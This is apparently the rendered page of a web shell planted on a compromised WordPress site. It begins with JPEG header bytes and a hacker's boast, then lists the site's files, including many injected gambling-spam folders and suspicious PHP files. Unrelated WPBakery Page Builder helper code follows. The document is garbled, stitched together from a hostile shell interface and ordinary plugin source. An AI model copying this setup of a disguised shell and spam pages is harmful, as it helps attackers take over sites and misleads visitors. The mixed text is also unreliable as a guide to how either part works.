ÿØÿÛ C
iamH4CKEERRRRRRRRRRRS
I am a hacker in the dark of a very cold night
path :/home/www/kinleysgarage.co.uk
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .1745560516 | 80 KB | April 25 2025 05:55:16 | 0644 |
|
| .1745565040 | 80 KB | April 25 2025 07:10:40 | 0644 |
|
| .1745568656 | 80 KB | April 25 2025 08:10:56 | 0644 |
|
| .1745572277 | 80 KB | April 25 2025 09:11:17 | 0644 |
|
| .1745575899 | 80 KB | April 25 2025 10:11:39 | 0644 |
|
| .1745579514 | 80 KB | April 25 2025 11:11:54 | 0644 |
|
| .1745583133 | 80 KB | April 25 2025 12:12:13 | 0644 |
|
| .1745586759 | 80 KB | April 25 2025 13:12:39 | 0644 |
|
| .1745590387 | 80 KB | April 25 2025 14:13:07 | 0644 |
|
| .1745594004 | 80 KB | April 25 2025 15:13:24 | 0644 |
|
| .1745595958 | 80 KB | April 25 2025 15:45:58 | 0644 |
|
| .1745596080 | 80 KB | April 25 2025 15:48:00 | 0644 |
|
| .1745596322 | 80 KB | April 25 2025 15:52:02 | 0644 |
|
| .1745596415 | 80 KB | April 25 2025 15:53:35 | 0644 |
|
| .1745597625 | 80 KB | April 25 2025 16:13:45 | 0644 |
|
| .1745624775 | 80 KB | April 25 2025 23:46:15 | 0644 |
|
| .1745626192 | 80 KB | April 26 2025 00:09:52 | 0644 |
|
| .1745626576 | 80 KB | April 26 2025 00:16:16 | 0644 |
|
| .1745630191 | 80 KB | April 26 2025 01:16:31 | 0644 |
|
| .1745633808 | 80 KB | April 26 2025 02:16:48 | 0644 |
|
| .1745637431 | 80 KB | April 26 2025 03:17:11 | 0644 |
|
| .1745639200 | 80 KB | April 26 2025 03:46:40 | 0644 |
|
| .1745639764 | 80 KB | April 26 2025 03:56:04 | 0644 |
|
| .1745640126 | 80 KB | April 26 2025 04:02:06 | 0644 |
|
| .1745641940 | 80 KB | April 26 2025 04:32:20 | 0644 |
|
| .1745646463 | 80 KB | April 26 2025 05:47:43 | 0644 |
|
| .1745650080 | 80 KB | April 26 2025 06:48:00 | 0644 |
|
| .1745653695 | 80 KB | April 26 2025 07:48:15 | 0644 |
|
| .1745657308 | 80 KB | April 26 2025 08:48:28 | 0644 |
|
| .1745660924 | 80 KB | April 26 2025 09:48:44 | 0644 |
|
| .1745664550 | 80 KB | April 26 2025 10:49:10 | 0644 |
|
| .1745668165 | 80 KB | April 26 2025 11:49:25 | 0644 |
|
| .1745671661 | 80 KB | April 26 2025 12:47:41 | 0644 |
|
| .1745671780 | 80 KB | April 26 2025 12:49:40 | 0644 |
|
| .1745673851 | 80 KB | April 26 2025 13:24:11 | 0644 |
|
| .1745674527 | 80 KB | April 26 2025 13:35:27 | 0644 |
|
| .1745675395 | 80 KB | April 26 2025 13:49:55 | 0644 |
|
| .1745679014 | 80 KB | April 26 2025 14:50:14 | 0644 |
|
| .1745682470 | 80 KB | April 26 2025 15:47:50 | 0644 |
|
| .1745683532 | 80 KB | April 26 2025 16:05:32 | 0644 |
|
| .1745688046 | 80 KB | April 26 2025 17:20:46 | 0644 |
|
| .1745691667 | 80 KB | April 26 2025 18:21:07 | 0644 |
|
| .1745696177 | 80 KB | April 26 2025 19:36:17 | 0644 |
|
| .1745699110 | 80 KB | April 26 2025 20:25:10 | 0644 |
|
| .1745699666 | 80 KB | April 26 2025 20:34:26 | 0644 |
|
| .1745699791 | 80 KB | April 26 2025 20:36:31 | 0644 |
|
| .1745703405 | 80 KB | April 26 2025 21:36:45 | 0644 |
|
| .1745707022 | 80 KB | April 26 2025 22:37:02 | 0644 |
|
| .1745711537 | 80 KB | April 26 2025 23:52:17 | 0644 |
|
| .1745715157 | 80 KB | April 27 2025 00:52:37 | 0644 |
|
| .1745718772 | 80 KB | April 27 2025 01:52:52 | 0644 |
|
| .1745722404 | 80 KB | April 27 2025 02:53:24 | 0644 |
|
| .1745725749 | 80 KB | April 27 2025 03:49:09 | 0644 |
|
| .1745726926 | 80 KB | April 27 2025 04:08:46 | 0644 |
|
| .1745730546 | 80 KB | April 27 2025 05:09:06 | 0644 |
|
| .1745734162 | 80 KB | April 27 2025 06:09:22 | 0644 |
|
| .1745738677 | 80 KB | April 27 2025 07:24:37 | 0644 |
|
| .1745742290 | 80 KB | April 27 2025 08:24:50 | 0644 |
|
| .1745746801 | 80 KB | April 27 2025 09:40:01 | 0644 |
|
| .1745751312 | 80 KB | April 27 2025 10:55:12 | 0644 |
|
| .1745754927 | 80 KB | April 27 2025 11:55:27 | 0644 |
|
| .1745758547 | 80 KB | April 27 2025 12:55:47 | 0644 |
|
| .1745762169 | 80 KB | April 27 2025 13:56:09 | 0644 |
|
| .1745765786 | 80 KB | April 27 2025 14:56:26 | 0644 |
|
| .1745769019 | 80 KB | April 27 2025 15:50:19 | 0644 |
|
| .1745769400 | 80 KB | April 27 2025 15:56:40 | 0644 |
|
| .1745773015 | 80 KB | April 27 2025 16:56:55 | 0644 |
|
| .1745775178 | 80 KB | April 27 2025 17:32:58 | 0644 |
|
| .1745775916 | 80 KB | April 27 2025 17:45:16 | 0644 |
|
| .1745776504 | 80 KB | April 27 2025 17:55:04 | 0644 |
|
| .1745776507 | 80 KB | April 27 2025 17:55:07 | 0644 |
|
| .1745777527 | 80 KB | April 27 2025 18:12:07 | 0644 |
|
| .1745782043 | 80 KB | April 27 2025 19:27:23 | 0644 |
|
| .1745786548 | 80 KB | April 27 2025 20:42:28 | 0644 |
|
| .1745791056 | 80 KB | April 27 2025 21:57:36 | 0644 |
|
| .1745794675 | 80 KB | April 27 2025 22:57:55 | 0644 |
|
| .1745798288 | 80 KB | April 27 2025 23:58:08 | 0644 |
|
| .1745801911 | 80 KB | April 28 2025 00:58:31 | 0644 |
|
| .1745805525 | 80 KB | April 28 2025 01:58:45 | 0644 |
|
| .1745809142 | 80 KB | April 28 2025 02:59:02 | 0644 |
|
| .1745812276 | 80 KB | April 28 2025 03:51:16 | 0644 |
|
| .1745812756 | 80 KB | April 28 2025 03:59:16 | 0644 |
|
| .1745816371 | 80 KB | April 28 2025 04:59:31 | 0644 |
|
| .1745820883 | 80 KB | April 28 2025 06:14:43 | 0644 |
|
| .1745824505 | 80 KB | April 28 2025 07:15:05 | 0644 |
|
| .1745829025 | 80 KB | April 28 2025 08:30:25 | 0644 |
|
| .1745832646 | 80 KB | April 28 2025 09:30:46 | 0644 |
|
| .1745836274 | 80 KB | April 28 2025 10:31:14 | 0644 |
|
| .1745839900 | 80 KB | April 28 2025 11:31:40 | 0644 |
|
| .1745843526 | 80 KB | April 28 2025 12:32:06 | 0644 |
|
| .1745847147 | 80 KB | April 28 2025 13:32:27 | 0644 |
|
| .1745850770 | 80 KB | April 28 2025 14:32:50 | 0644 |
|
| .1745854387 | 80 KB | April 28 2025 15:33:07 | 0644 |
|
| .1745858007 | 80 KB | April 28 2025 16:33:27 | 0644 |
|
| .1745861631 | 80 KB | April 28 2025 17:33:51 | 0644 |
|
| .1745865253 | 80 KB | April 28 2025 18:34:13 | 0644 |
|
| .1745868873 | 80 KB | April 28 2025 19:34:33 | 0644 |
|
| .1745872488 | 80 KB | April 28 2025 20:34:48 | 0644 |
|
| .1745875365 | 80 KB | April 28 2025 21:22:45 | 0644 |
|
| .1745876104 | 80 KB | April 28 2025 21:35:04 | 0644 |
|
| .1745876898 | 80 KB | April 28 2025 21:48:18 | 0644 |
|
| .1745879727 | 80 KB | April 28 2025 22:35:27 | 0644 |
|
| .1745883347 | 80 KB | April 28 2025 23:35:47 | 0644 |
|
| .1745886978 | 80 KB | April 29 2025 00:36:18 | 0644 |
|
| .1745890609 | 80 KB | April 29 2025 01:36:49 | 0644 |
|
| .1745894226 | 80 KB | April 29 2025 02:37:06 | 0644 |
|
| .1745898747 | 80 KB | April 29 2025 03:52:27 | 0644 |
|
| .1745901445 | 80 KB | April 29 2025 04:37:25 | 0644 |
|
| .1745902373 | 80 KB | April 29 2025 04:52:53 | 0644 |
|
| .1745905999 | 80 KB | April 29 2025 05:53:19 | 0644 |
|
| .1745909628 | 80 KB | April 29 2025 06:53:48 | 0644 |
|
| .1745913253 | 80 KB | April 29 2025 07:54:13 | 0644 |
|
| .1745917764 | 80 KB | April 29 2025 09:09:24 | 0644 |
|
| .1745921386 | 80 KB | April 29 2025 10:09:46 | 0644 |
|
| .1745925905 | 80 KB | April 29 2025 11:25:05 | 0644 |
|
| .1745929519 | 80 KB | April 29 2025 12:25:19 | 0644 |
|
| .1745931243 | 80 KB | April 29 2025 12:54:03 | 0644 |
|
| .1745934028 | 80 KB | April 29 2025 13:40:28 | 0644 |
|
| .1745937648 | 80 KB | April 29 2025 14:40:48 | 0644 |
|
| .1745942159 | 80 KB | April 29 2025 15:55:59 | 0644 |
|
| .1745945775 | 80 KB | April 29 2025 16:56:15 | 0644 |
|
| .1745950287 | 80 KB | April 29 2025 18:11:27 | 0644 |
|
| .1745952613 | 80 KB | April 29 2025 18:50:13 | 0644 |
|
| .1745954804 | 80 KB | April 29 2025 19:26:44 | 0644 |
|
| .1745959314 | 80 KB | April 29 2025 20:41:54 | 0644 |
|
| .1745962932 | 80 KB | April 29 2025 21:42:12 | 0644 |
|
| .1745966545 | 80 KB | April 29 2025 22:42:25 | 0644 |
|
| .htaccess | 243 KB | April 11 2026 06:59:32 | 0644 |
|
| .htacl | 92 KB | March 29 2026 20:14:08 | 0644 |
|
| .lock | 756 KB | April 24 2025 17:50:49 | 0644 |
|
| .multi | 0 KB | April 25 2025 15:47:56 | 0644 |
|
| .tmb | - | April 08 2025 21:25:54 | 0777 |
|
| Agen-Mix-Parlay | - | April 29 2025 13:00:48 | 0755 |
|
| Agen-Sbobet | - | May 01 2025 15:08:14 | 0755 |
|
| Agen-Slot-Gacor | - | April 25 2025 15:53:06 | 0755 |
|
| Alternatif-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Alternatif-Judi-Bola | - | May 09 2025 02:01:51 | 0755 |
|
| Alternatif-Mix-Parlay | - | April 27 2025 03:58:11 | 0755 |
|
| Alternatif-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Alternatif-Slot | - | April 28 2025 03:57:42 | 0755 |
|
| Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Daftar-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Daftar-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Judi-Bola | - | April 26 2025 03:54:12 | 0755 |
|
| Judi-Casino | - | April 25 2025 03:57:40 | 0755 |
|
| Link-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Judi-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Slot | - | April 26 2025 15:54:54 | 0755 |
|
| Live-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Mix-Parlay | - | April 26 2025 03:54:15 | 0755 |
|
| Mix-Parlay-Online | - | May 08 2025 19:04:47 | 0755 |
|
| Mix-Parlay-Resmi | - | May 09 2025 02:03:02 | 0755 |
|
| Piala-Dunia-2026 | - | April 18 2025 14:04:53 | 0755 |
|
| RTP-Slot | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet | - | April 25 2025 15:53:09 | 0755 |
|
| Sbobet-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Sbobet | - | April 24 2025 07:51:25 | 0755 |
|
| Situs-Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Slot | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Gacor | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Gacor-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Maxwin | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Judi-Bola | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| core | 11759616 KB | April 29 2025 12:54:31 | 0600 |
|
| license.txt | 19915 KB | December 31 2023 18:02:20 | 0644 |
|
| readme.html | 7409 KB | June 18 2024 05:59:14 | 0644 |
|
| robots.txt | 93 KB | April 17 2025 06:39:58 | 0644 |
|
| sitemap.xml | 7885 KB | April 17 2025 06:39:58 | 0644 |
|
| w1px.php | 26454 KB | March 16 2026 11:38:18 | 0644 |
|
| wp-activate.php | 7387 KB | February 13 2024 08:19:10 | 0644 |
|
| wp-admin | - | April 23 2025 17:29:53 | 0755 |
|
| wp-blog-header.php | 351 KB | May 01 2025 14:59:24 | 0644 |
|
| wp-comments-post.php | 2323 KB | June 14 2023 08:11:16 | 0644 |
|
| wp-config-sample.php | 3336 KB | October 15 2024 09:24:18 | 0644 |
|
| wp-config.php | 3177 KB | May 07 2025 13:18:17 | 0644 |
|
| wp-content | - | April 14 2025 13:14:49 | 0755 |
|
| wp-cron.php | 5617 KB | April 29 2025 12:54:28 | 0644 |
|
| wp-includes | - | April 07 2026 03:57:15 | 0755 |
|
| wp-links-opml.php | 2502 KB | November 26 2022 15:01:18 | 0644 |
|
| wp-load.php | 14301 KB | May 08 2025 13:19:24 | 0644 |
|
| wp-login-css.php | 265113 KB | April 23 2025 15:28:26 | 0644 |
|
| wp-login.php | 51611 KB | September 30 2024 13:12:14 | 0644 |
|
| wp-mail.php | 8543 KB | September 18 2024 16:37:16 | 0644 |
|
| wp-settings.php | 29032 KB | May 07 2025 13:21:11 | 0644 |
|
| wp-signup.php | 34385 KB | June 19 2023 12:27:28 | 0644 |
|
| wp-trackback.php | 5102 KB | October 18 2024 09:56:18 | 0644 |
|
| xmlrpc.php | 3246 KB | March 02 2024 07:49:06 | 0644 |
|
vc();
}
}
if ( ! function_exists( 'vc_mapper' ) ) {
/**
* Shorthand for Vc Mapper.
* @return Vc_Mapper
* @since 4.2
*/
function vc_mapper() {
return vc_manager()->mapper();
}
}
if ( ! function_exists( 'vc_settings' ) ) {
/**
* Shorthand for WPBakery Page Builder settings.
* @return Vc_Settings
* @since 4.2
*/
function vc_settings() {
return vc_manager()->settings();
}
}
if ( ! function_exists( 'vc_license' ) ) {
/**
* Get License manager
* @return Vc_License
* @since 4.2
*/
function vc_license() {
return vc_manager()->license();
}
}
if ( ! function_exists( 'vc_automapper' ) ) {
/**
* @return Vc_Automapper
* @since 4.2
*/
function vc_automapper() {
return vc_manager()->automapper();
}
}
if ( ! function_exists( 'vc_frontend_editor' ) ) {
/**
* Shorthand for VC frontend editor
* @return Vc_Frontend_Editor
* @since 4.2
*/
function vc_frontend_editor() {
return vc_manager()->frontendEditor();
}
}
if ( ! function_exists( 'vc_backend_editor' ) ) {
/**
* Shorthand for VC frontend editor
* @return Vc_Backend_Editor
* @since 4.2
*/
function vc_backend_editor() {
return vc_manager()->backendEditor();
}
}
if ( ! function_exists( 'vc_updater' ) ) {
/**
* @return Vc_Updater
* @since 4.2
*/
function vc_updater() {
return vc_manager()->updater();
}
}
if ( ! function_exists( 'vc_is_network_plugin' ) ) {
/**
* Vc is network plugin or not.
* @return bool
* @since 4.2
*/
function vc_is_network_plugin() {
return vc_manager()->isNetworkPlugin();
}
}
if ( ! function_exists( 'vc_path_dir' ) ) {
/**
* Get file/directory path in Vc.
*
* @param string $name - path name
* @param string $file
*
* @return string
* @since 4.2
*/
function vc_path_dir( $name, $file = '' ) {
return vc_manager()->path( $name, $file );
}
}
if ( ! function_exists( 'vc_asset_url' ) ) {
/**
* Get full url for assets.
*
* @param string $file
*
* @return string
* @since 4.2
*/
function vc_asset_url( $file ) {
return vc_manager()->assetUrl( $file );
}
}
if ( ! function_exists( 'vc_upload_dir' ) ) {
/**
* Temporary files upload dir;
* @return string
* @since 4.2
*/
function vc_upload_dir() {
return vc_manager()->uploadDir();
}
}
if ( ! function_exists( 'vc_template' ) ) {
/**
* @param $file
*
* @return string
* @since 4.2
*/
function vc_template( $file ) {
return vc_path_dir( 'TEMPLATES_DIR', $file );
}
}
if ( ! function_exists( 'vc_post_param' ) ) {
/**
* Get param value from $_POST if exists.
*
* @param $param
* @param $default
*
* @param bool $check
* @return null|string - null for undefined param.
* @since 4.2
*/
function vc_post_param( $param, $default = null, $check = false ) {
if ( 'admin' === $check ) {
check_admin_referer();
} elseif ( 'ajax' === $check ) {
check_ajax_referer();
}
return isset( $_POST[ $param ] ) ? $_POST[ $param ] : $default;
}
}
if ( ! function_exists( 'vc_get_param' ) ) {
/**
* Get param value from $_GET if exists.
*
* @param string $param
* @param $default
*
* @param bool $check
* @return null|string - null for undefined param.
* @since 4.2
*/
function vc_get_param( $param, $default = null, $check = false ) {
if ( 'admin' === $check ) {
check_admin_referer();
} elseif ( 'ajax' === $check ) {
check_ajax_referer();
}
// @codingStandardsIgnoreLine
return isset( $_GET[ $param ] ) ? $_GET[ $param ] : $default;
}
}
if ( ! function_exists( 'vc_request_param' ) ) {
/**
* Get param value from $_REQUEST if exists.
*
* @param $param
* @param $default
*
* @param bool $check
* @return null|string - null for undefined param.
* @since 4.4
*/
function vc_request_param( $param, $default = null, $check = false ) {
if ( 'admin' === $check ) {
check_admin_referer();
} elseif ( 'ajax' === $check ) {
check_ajax_referer();
}
// @codingStandardsIgnoreLine
return isset( $_REQUEST[ $param ] ) ? $_REQUEST[ $param ] : $default;
}
}
if ( ! function_exists( 'vc_is_frontend_editor' ) ) {
/**
* @return bool
* @since 4.2
*/
function vc_is_frontend_editor() {
return 'admin_frontend_editor' === vc_mode();
}
}
if ( ! function_exists( 'vc_is_page_editable' ) ) {
/**
* @return bool
* @since 4.2
*/
function vc_is_page_editable() {
return 'page_editable' === vc_mode();
}
}
if ( ! function_exists( 'vc_action' ) ) {
/**
* Get VC special action param.
* @return string|null
* @since 4.2
*/
function vc_action() {
$vc_action = wp_strip_all_tags( vc_request_param( 'vc_action' ) );
return $vc_action;
}
}
if ( ! function_exists( 'vc_is_inline' ) ) {
/**
* Get is inline or not.
* @return bool
* @since 4.2
*/
function vc_is_inline() {
global $vc_is_inline;
if ( is_null( $vc_is_inline ) ) {
$vc_is_inline = ( current_user_can( 'edit_posts' ) || current_user_can( 'edit_pages' ) ) && 'vc_inline' === vc_action() || ! is_null( vc_request_param( 'vc_inline' ) ) || 'true' === vc_request_param( 'vc_editable' );
}
return $vc_is_inline;
}
}
if ( ! function_exists( 'vc_is_frontend_ajax' ) ) {
/**
* @return bool
* @since 4.2
*/
function vc_is_frontend_ajax() {
return 'true' === vc_post_param( 'vc_inline' ) || vc_get_param( 'vc_inline' );
}
}
/**
* @depreacted since 4.8 ( use vc_is_frontend_editor )
* @return bool
* @since 4.2
*/
function vc_is_editor() {
return vc_is_frontend_editor();
}
/**
* @param $value
* @param bool $encode
*
* @return string
* @since 4.2
*/
function vc_value_from_safe( $value, $encode = false ) {
// @codingStandardsIgnoreLine
$value = preg_match( '/^#E\-8_/', $value ) ? rawurldecode( base64_decode( preg_replace( '/^#E\-8_/', '', $value ) ) ) : $value;
if ( $encode ) {
$value = htmlentities( $value, ENT_COMPAT, 'UTF-8' );
}
return str_replace( [
'`{`',
'`}`',
'``',
], [
'[',
']',
'"',
], $value );
}
/**
* @param bool $disable
* @since 4.2
*
*/
function vc_disable_automapper( $disable = true ) {
vc_automapper()->setDisabled( $disable );
}
/**
* @return bool
* @since 4.2
*/
function vc_automapper_is_disabled() {
return vc_automapper()->disabled();
}
/**
* @param $param
* @param $value
*
* @return mixed|string
* @since 4.2
*/
function vc_get_dropdown_option( $param, $value ) {
if ( '' === $value && is_array( $param['value'] ) ) {
$value = array_shift( $param['value'] );
}
if ( is_array( $value ) ) {
reset( $value );
$value = isset( $value['value'] ) ? $value['value'] : current( $value );
}
$value = preg_replace( '/\s/', '_', $value );
return ( '' !== $value ? $value : '' );
}
/**
* @param $prefix
* @param $color
*
* @return string
* @since 4.2
*/
function vc_get_css_color( $prefix, $color ) {
$rgb_color = preg_match( '/rgba/', $color ) ? preg_replace( array(
'/\s+/',
'/^rgba\((\d+)\,(\d+)\,(\d+)\,([\d\.]+)\)$/',
), array(
'',
'rgb($1,$2,$3)',
), $color ) : $color;
$string = $prefix . ':' . $rgb_color . ';';
if ( $rgb_color !== $color ) {
$string .= $prefix . ':' . $color . ';';
}
return $string;
}
/**
* @param $param_value
* @param string $prefix
*
* @return string
* @since 4.2
*/
function vc_shortcode_custom_css_class( $param_value, $prefix = '' ) {
$css_class = preg_match( '/\s*\.([^\{]+)\s*\{\s*([^\}]+)\s*\}\s*/', $param_value ) ? $prefix . preg_replace( '/\s*\.([^\{]+)\s*\{\s*([^\}]+)\s*\}\s*/', '$1', $param_value ) : '';
return $css_class;
}
/**
* @param $subject
* @param $property
* @param bool|false $strict
*
* @return bool
* @since 4.9
*/
function vc_shortcode_custom_css_has_property( $subject, $property, $strict = false ) {
$styles = array();
$pattern = '/\{([^\}]*?)\}/i';
preg_match( $pattern, $subject, $styles );
if ( array_key_exists( 1, $styles ) ) {
$styles = explode( ';', $styles[1] );
}
$new_styles = array();
foreach ( $styles as $val ) {
$val = explode( ':', $val );
if ( is_array( $property ) ) {
foreach ( $property as $prop ) {
$pos = strpos( $val[0], $prop );
$full = ( $strict ) ? ( 0 === $pos && strlen( $val[0] ) === strlen( $prop ) ) : true;
if ( false !== $pos && $full ) {
$new_styles[] = $val;
}
}
} else {
$pos = strpos( $val[0], $property );
$full = ( $strict ) ? ( 0 === $pos && strlen( $val[0] ) === strlen( $property ) ) : true;
if ( false !== $pos && $full ) {
$new_styles[] = $val;
}
}
}
return ! empty( $new_styles );
}
/**
* Plugin name for VC.
*
* @return string
* @since 4.2
*/
function vc_plugin_name() {
return vc_manager()->pluginName();
}
/**
* @param $filename
*
* @return bool|mixed|string
* @since 4.4.3 used in vc_base when getting an custom css output
*
*/
function vc_file_get_contents( $filename ) {
global $wp_filesystem;
if ( empty( $wp_filesystem ) ) {
require_once ABSPATH . '/wp-admin/includes/file.php';
WP_Filesystem( false, false, true );
}
/** @var WP_Filesystem_Base $wp_filesystem */
$output = '';
if ( is_object( $wp_filesystem ) ) {
$output = $wp_filesystem->get_contents( $filename );
}
if ( ! $output ) {
// @codingStandardsIgnoreLine
$output = file_get_contents( $filename );
}
return $output;
}
/**
* HowTo: vc_role_access()->who('administrator')->with('editor')->can('frontend_editor');
* @return Vc_Role_Access;
* @since 4.8
*/
function vc_role_access() {
return vc_manager()->getRoleAccess();
}
/**
* Get access manager for current user.
* HowTo: vc_user_access()->->with('editor')->can('frontend_editor');
* @return Vc_Current_User_Access;
* @since 4.8
*/
function vc_user_access() {
return vc_manager()->getCurrentUserAccess();
}
/**
* @return array
* @throws \Exception
*/
function vc_user_roles_get_all() {
require_once vc_path_dir( 'SETTINGS_DIR', 'class-vc-roles.php' );
$vc_roles = new Vc_Roles();
$capabilities = array();
foreach ( $vc_roles->getParts() as $part ) {
$partObj = vc_user_access()->part( $part );
$capabilities[ $part ] = array(
'state' => ( is_multisite() && is_super_admin() ) ? true : $partObj->getState(),
'state_key' => $partObj->getStateKey(),
'capabilities' => $partObj->getAllCaps(),
);
}
return $capabilities;
}
/**
* @param $data
*
* @return string
*/
function vc_generate_nonce( $data, $from_esi = false ) {
if ( ! $from_esi && ! vc_is_frontend_editor() ) {
if ( method_exists( 'LiteSpeed_Cache_API', 'esi_enabled' ) && LiteSpeed_Cache_API::esi_enabled() ) {
if ( method_exists( 'LiteSpeed_Cache_API', 'v' ) && LiteSpeed_Cache_API::v( '1.3' ) ) {
$params = array( 'data' => $data );
return LiteSpeed_Cache_API::esi_url( 'js_composer', 'WPBakery Page Builder', $params, 'default', true );// The last parameter is to remove ESI comment wrapper
}
}
}
return wp_create_nonce( is_array( $data ) ? ( 'vc-nonce-' . implode( '|', $data ) ) : ( 'vc-nonce-' . $data ) );
}
/**
* @param $params
*
* @return string
*/
function vc_hook_esi( $params ) {
$data = $params['data'];
echo vc_generate_nonce( $data, true );
exit;
}
/**
* @param $nonce
* @param $data
*
* @return bool
*/
function vc_verify_nonce( $nonce, $data ) {
return (bool) wp_verify_nonce( $nonce, ( is_array( $data ) ? ( 'vc-nonce-' . implode( '|', $data ) ) : ( 'vc-nonce-' . $data ) ) );
}
/**
* @param $nonce
*
* @return bool
*/
function vc_verify_admin_nonce( $nonce = '' ) {
return (bool) vc_verify_nonce( ! empty( $nonce ) ? $nonce : vc_request_param( '_vcnonce' ), 'vc-admin-nonce' );
}
/**
* @param $nonce
*
* @return bool
*/
function vc_verify_public_nonce( $nonce = '' ) {
return (bool) vc_verify_nonce( ( ! empty( $nonce ) ? $nonce : vc_request_param( '_vcnonce' ) ), 'vc-public-nonce' );
}
/**
* @param $type
* @return bool|mixed|void
* @throws \Exception
*/
function vc_check_post_type( $type = '' ) {
if ( empty( $type ) ) {
$type = get_post_type();
}
$valid = apply_filters( 'vc_check_post_type_validation', null, $type );
if ( is_null( $valid ) ) {
if ( is_multisite() && is_super_admin() ) {
return true;
}
$currentUser = wp_get_current_user();
$allCaps = $currentUser->get_role_caps();
$capKey = vc_user_access()->part( 'post_types' )->getStateKey();
$state = null;
if ( array_key_exists( $capKey, $allCaps ) ) {
$state = $allCaps[ $capKey ];
}
if ( false === $state ) {
return false;
}
if ( null === $state ) {
return in_array( $type, vc_default_editor_post_types(), true );
}
return in_array( $type, vc_editor_post_types(), true );
}
return $valid;
}
/**
* @param $shortcode
* @return bool|mixed|void
*/
function vc_user_access_check_shortcode_edit( $shortcode ) {
$do_check = apply_filters( 'vc_user_access_check-shortcode_edit', null, $shortcode );
if ( is_multisite() && is_super_admin() ) {
return true;
}
if ( is_null( $do_check ) ) {
$state_check = vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'edit', null )->get();
if ( $state_check ) {
return true;
} else {
return vc_user_access()->part( 'shortcodes' )->canAny( $shortcode . '_all', $shortcode . '_edit' )->get();
}
} else {
return $do_check;
}
}
/**
* @param $shortcode
* @return bool|mixed|void
* @throws \Exception
*/
function vc_user_access_check_shortcode_all( $shortcode ) {
$do_check = apply_filters( 'vc_user_access_check-shortcode_all', null, $shortcode );
if ( is_multisite() && is_super_admin() ) {
return true;
}
if ( is_null( $do_check ) ) {
return vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'custom', null )->can( $shortcode . '_all' )->get();
} else {
return $do_check;
}
}
/**
* htmlspecialchars_decode_deep
* Call the htmlspecialchars_decode to a gived multilevel array
*
* @param mixed $value The value to be stripped.
*
* @return mixed Stripped value.
* @since 4.8
*
*/
function vc_htmlspecialchars_decode_deep( $value ) {
if ( is_array( $value ) ) {
$value = array_map( 'vc_htmlspecialchars_decode_deep', $value );
} elseif ( is_object( $value ) ) {
$vars = get_object_vars( $value );
foreach ( $vars as $key => $data ) {
$value->{$key} = vc_htmlspecialchars_decode_deep( $data );
}
} elseif ( is_string( $value ) ) {
$value = htmlspecialchars_decode( $value );
}
return $value;
}
/**
* @param $str
* @return mixed
*/
function vc_str_remove_protocol( $str ) {
return str_replace( array(
'https://',
'http://',
), '//', $str );
}
if ( ! function_exists( 'wpb_get_current_theme_slug' ) ) {
/**
* Get current theme slug (actually the directory name)
*
* When child theme is in use will return the parent's slug.
*
* @return string
*/
function wpb_get_current_theme_slug() {
$theme = wp_get_theme();
$parent = $theme->parent();
if ( $parent instanceof WP_Theme ) {
return $parent->get_stylesheet();
}
return $theme->get_stylesheet();
}
}